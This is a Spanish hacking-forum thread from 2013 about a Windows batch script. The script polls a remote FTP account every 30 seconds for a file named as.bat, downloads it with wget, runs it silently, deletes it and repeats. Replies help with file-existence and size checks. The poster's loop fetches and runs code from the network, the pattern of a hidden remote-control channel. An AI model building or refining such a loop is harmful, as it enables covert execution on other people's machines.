elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  wget duda batch
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: wget duda batch  (Leído 2,913 veces)
asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
wget duda batch
« en: 8 Agosto 2013, 19:10 pm »

habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ?

ejemplo
Código:
:inicio
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo
:seguir
wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat"
:seguir
ping 127.0.0.1 -n 60
goto inicio

quiero algo de ayuda en esto

Código:
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo

alguna forma de hacerlo ?

o si no es posible asi

alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb  aver si alguien me puede ayudar gracias


En línea

orlando9427

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: wget duda batch
« Respuesta #1 en: 8 Agosto 2013, 19:20 pm »

Podrías usar el comando FTP para iniciar sesión, después usas el comando LS para listar los ficheros del directorio y guardarlo en un archivo temporal, compruebas si existe con un FOR y si lo encuentras lo descargas.

Este enlace te puede servir para entender el comando FTP.
http://urpiano.wordpress.com/2007/11/23/como-acceder-a-un-servidor-ftp-desde-un-fichero-bat/

Saludos!


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: wget duda batch
« Respuesta #2 en: 8 Agosto 2013, 20:56 pm »

Te hago un ejemplo:

Código
  1. @Echo OFF
  2.  
  3. Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
  4. Set "FileList=%TEMP%\Files.tmp"
  5. Set "FileName=ls-lR.gz"
  6.  
  7. Wget "%FTPDir%" -O "%FileList%" && (
  8. Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
  9. Echo Archivo encontrado.
  10. ) || (
  11. Echo Archivo NO encontrado.
  12. )
  13. )
  14.  
  15. Del /Q "%FileList%"
  16. Pause&Exit

Saludos
En línea

asdexiva

Desconectado Desconectado

Mensajes: 217



Ver Perfil
Re: wget duda batch
« Respuesta #3 en: 10 Agosto 2013, 19:16 pm »

Te hago un ejemplo:

Código
  1. @Echo OFF
  2.  
  3. Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
  4. Set "FileList=%TEMP%\Files.tmp"
  5. Set "FileName=ls-lR.gz"
  6.  
  7. Wget "%FTPDir%" -O "%FileList%" && (
  8. Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
  9. Echo Archivo encontrado.
  10. ) || (
  11. Echo Archivo NO encontrado.
  12. )
  13. )
  14.  
  15. Del /Q "%FileList%"
  16. Pause&Exit

Saludos

elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

Código:
@echo off
copy %MYFILES%\wget.exe C:\wget.exe
:XD

C:\wget ftp://usuario:password@server19.000webhost.com/public_html/as.bat -O "C:\xd.bat"
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a

if not exist C:\xd.bat goto times
if exist C:\xd.bat goto seguir
:seguir
ping 127.0.0.1 -n 3
start /b C:\xd.bat
ping 127.0.0.1 -n 3
del C:\xd.bat

:times
ping 127.0.0.1 -n 30



goto XD

lo que hace este codigo es que si en el ftp esta el archivo as.bat lo baja y lo ejecuta y despues lo borra pero si no ay ningun archivo en el ftp se baja un archivo de 0kb con el nombre de as.bat y el for se encarga de borrar el archivo de 0 kb por que no me sirve
habra alguna forma de revisar en el ftp si se encuentra el archivo as.bat y si se encuentra que lo baje y lo ejecute y si no no baje nada y vaya al tiempo de espera ?

o alguna forma para que el wget no baje nada si no encuentra el archivo por que si el archivo no se encuentra en el ftp me baja un archivo de 0kb

gracias
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: wget duda batch
« Respuesta #4 en: 10 Agosto 2013, 20:38 pm »

elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

¿Porque no te sirve?, si solo tienes que modificar el nombre del archivo, y la dirección FTP añadiendo el user y el pass como lo haces en el segundo ejemplo... :-/

Como ya te digo solo tienes que hacer eso xD, pero bueno, te doy una solución alternativa, si dices que es un archivo nulo entonces puedes checkar el tamaño del archivo descargado (en bytes):
Código
  1. For /F %%S in ("xd.bat") do (
  2.  
  3.    If %~zS EQU 0 then (
  4.        Goto:...
  5.    ) ELSE (
  6.        REM Hacer cosas con el archivo...
  7.    )
  8.  
  9. )

Saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pequeña duda con un comando batch (NUEVA DUDA RELACIONADA)
Scripting
revenge1252 9 9,736 Último mensaje 13 Febrero 2008, 21:41 pm
por revenge1252
WGET
GNU/Linux
Pirat3net 1 2,520 Último mensaje 22 Febrero 2012, 15:44 pm
por WHK
Como usar wget?
Scripting
z3nth10n 5 4,719 Último mensaje 28 Mayo 2012, 21:32 pm
por z3nth10n
duda con wget
GNU/Linux
WHK 3 3,312 Último mensaje 11 Enero 2013, 20:36 pm
por WHK
Duda, como bajar un directorio con wget.[Solucionado]
GNU/Linux
Drewermerc 5 7,240 Último mensaje 12 Diciembre 2014, 23:27 pm
por MinusFour
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines